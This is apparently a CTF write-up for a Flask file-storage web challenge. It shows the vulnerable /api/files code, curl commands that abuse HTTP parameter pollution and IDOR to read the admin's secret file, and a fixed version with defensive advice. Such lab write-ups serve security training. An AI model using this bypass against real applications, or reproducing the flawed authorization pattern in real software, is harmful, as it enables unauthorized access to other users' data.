Корпоративное хранилище (Corporate Storage)
Корпоративное хранилище (Corporate Storage)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: access_control_bypass, http_parameter_pollution, idor_exploitation
Summary
Walkthrough of the CUSTOM Web Корпоративное хранилище (Corporate Storage). Task: Flask file storage app with source code provided. Solution: Exploited HTTP Parameter Pollution combined with IDOR - the app uses first user_id for database query but last user_id for access chec
Description
"Это не просто папки и файлы, это настоящая крепость... ну, или так кажется. Попытайся не спалиться и докопаться до сокровищ. Кто знает, может, там и не только отчёты по бюджету."
Target: http://62.173.140.174:16088/
Source code: corpfiles_src.zip (provided)
Analysis
Source Code
The application is a Flask app for storing user files. The key vulnerable endpoint is in app/app.py:
python read-only • copy allowed@app.route('/api/files') def api_files(): user_ids = request.args.getlist('user_id') if len(user_ids) == 1: target_user_id = user_ids[0] elif len(user_ids) > 1: target_user_id = user_ids[0] # First user_id used for query check_user_id = user_ids[-1] # Last user_id used for access check else: target_user_id = session.get('user_id') check_user_id = session.get('user_id') if user_ids: check_user_id = user_ids[-1] else: check_user_id = session.get('user_id') if str(check_user_id) != str(session.get('user_id')): return {"error": "Access denied"}, 403 files = File.query.filter_by(owner_id=target_user_id).all() # Query uses target_user_id! return { "files": [ {"filename": f.filename, "file_id": f.file_id} for f in files ] }
Vulnerability: IDOR + HTTP Parameter Pollution
The authorization logic is split between two variables:
target_user_id— used to query files from the database (takes the firstuser_id)check_user_id— used for access check (takes the lastuser_id)
When passing two user_id parameters:
/api/files?user_id=1&user_id=2
- Files are queried for
user_id=1(admin) - Access check is performed for
user_id=2(our user)
Application Structure
From init_app.py we can see that:
- Admin (user_id=1) has a file
secret.txtcontaining the flag - Files are accessible via the
/file/<file_id>endpoint
Solution
Step 1: User Registration
bash read-only • copy allowedcurl -s -c cookies.txt -X POST "http://62.173.140.174:16088/register" \ -d "username=testuser123456&password=testpass123"
Step 2: Authentication
bash read-only • copy allowedcurl -s -c cookies.txt -b cookies.txt -X POST "http://62.173.140.174:16088/login" \ -d "username=testuser123456&password=testpass123"
We get a session with user_id=2.
Step 3: IDOR Exploitation
We pass two user_id parameters — the first to query admin's files, the second to pass the access check:
bash read-only • copy allowedcurl -s -b cookies.txt "http://62.173.140.174:16088/api/files?user_id=1&user_id=2"
Response:
json read-only • copy allowed{"files":[{"file_id":"3e6be0569344","filename":"secret.txt"}]}
Step 4: Downloading the Secret File
bash read-only • copy allowedcurl -s -b cookies.txt "http://62.173.140.174:16088/file/3e6be0569344"
Response:
CODEBY{REDACTED}
Defense
- Single source of identification — use only
session.get('user_id')for all operations - Don't accept user_id from request — if user is authenticated, their ID should be taken from the session
- File ownership verification — when downloading a file, verify that the current user is the owner
Fixed Code
python read-only • copy allowed@app.route('/api/files') def api_files(): user_id = session.get('user_id') if not user_id: return {"error": "Unauthorized"}, 401 files = File.query.filter_by(owner_id=user_id).all() return { "files": [ {"filename": f.filename, "file_id": f.file_id} for f in files ] }
Key Takeaways / Lessons
- Mastering access_control_bypass, http_parameter_pollution, idor_exploitation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-06 • CUSTOM • Корпоративное хранилище (Corporate Storage) • Difficulty: Medium